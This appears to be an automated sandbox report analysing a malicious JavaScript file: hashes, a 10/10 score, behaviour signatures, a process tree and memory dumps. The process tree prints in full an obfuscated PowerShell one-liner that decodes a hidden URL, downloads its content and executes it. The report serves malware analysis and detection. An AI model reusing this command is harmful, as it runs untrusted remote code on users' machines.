Analysis

  • max time kernel
    95s
  • max time network
    96s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-10-2024 01:25

General

  • Target

    8f749a8cd01566864555b1f13009b9bc95b897d8403b1aa0714f734e2815ee0b.js

  • Size

    158KB

  • MD5

    5f7b4c82ffd6c93d49f95baff8316bb1

  • SHA1

    73cf19f5557cd02da8c27a090f17ca84943c772e

  • SHA256

    8f749a8cd01566864555b1f13009b9bc95b897d8403b1aa0714f734e2815ee0b

  • SHA512

    9b12927f31554f69c5044688aa8932da0581c195b58c4efd6116799800446444821bbbc1614c8ede698fc65a10d81de05e9b84c2172c1891132596040ce19cbf

  • SSDEEP

    3072:a5UpyaaAND6gkXIwHO6Q+EPQo2Yb5MInsCBQ6LHvWQqacDXPl:NIYTPv2YSInsCB1fJYfl

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\8f749a8cd01566864555b1f13009b9bc95b897d8403b1aa0714f734e2815ee0b.js
    1⤵
      PID:1228
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $jeznwrn='ur';new-alias press c$($jeznwrn)l;$lmdyix=(7026,7028,7045,7035,7041,7034,7041,7040,7037,6969,7039,7034,7035,6970,6972,6969,7035,7027,7035,6986,7038,6984,7032,7028,7033,7039,7038,6972,6974);$ewokxkvdgw=('bronx','get-cmdlet');$gxtkgx=$lmdyix;foreach($urptpiufhyow in $gxtkgx){$shgfmca=$urptpiufhyow;$qolmcng=$qolmcng+[char]($shgfmca-6923);$benngetwirjk=$qolmcng;$pqrokowrzrg=$benngetwirjk};$usuigcfhqp[2]=$pqrokowrzrg;$dnyedgp='rl';$feabzsmqgejk=1;.$([char](9992-9887)+'e'+'x')(press -useb $pqrokowrzrg)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4044
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $jeznwrn='ur';new-alias press c$($jeznwrn)l;$lmdyix=(7026,7028,7045,7035,7041,7034,7041,7040,7037,6969,7039,7034,7035,6970,6972,6969,7035,7027,7035,6986,7038,6984,7032,7028,7033,7039,7038,6972,6974);$ewokxkvdgw=('bronx','get-cmdlet');$gxtkgx=$lmdyix;foreach($urptpiufhyow in $gxtkgx){$shgfmca=$urptpiufhyow;$qolmcng=$qolmcng+[char]($shgfmca-6923);$benngetwirjk=$qolmcng;$pqrokowrzrg=$benngetwirjk};$usuigcfhqp[2]=$pqrokowrzrg;$dnyedgp='rl';$feabzsmqgejk=1;.$([char](9992-9887)+'e'+'x')(press -useb $pqrokowrzrg)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:536

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4jfjt0pd.p54.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/536-0-0x00007FFDDFB43000-0x00007FFDDFB45000-memory.dmp

      Filesize

      8KB

    • memory/536-6-0x00000192F7DE0000-0x00000192F7E02000-memory.dmp

      Filesize

      136KB

    • memory/536-11-0x00007FFDDFB40000-0x00007FFDE0601000-memory.dmp

      Filesize

      10.8MB

    • memory/536-12-0x00007FFDDFB40000-0x00007FFDE0601000-memory.dmp

      Filesize

      10.8MB

    • memory/536-13-0x00007FFDDFB40000-0x00007FFDE0601000-memory.dmp

      Filesize

      10.8MB

    • memory/536-14-0x00007FFDDFB40000-0x00007FFDE0601000-memory.dmp

      Filesize

      10.8MB

    • memory/536-17-0x00007FFDDFB40000-0x00007FFDE0601000-memory.dmp

      Filesize

      10.8MB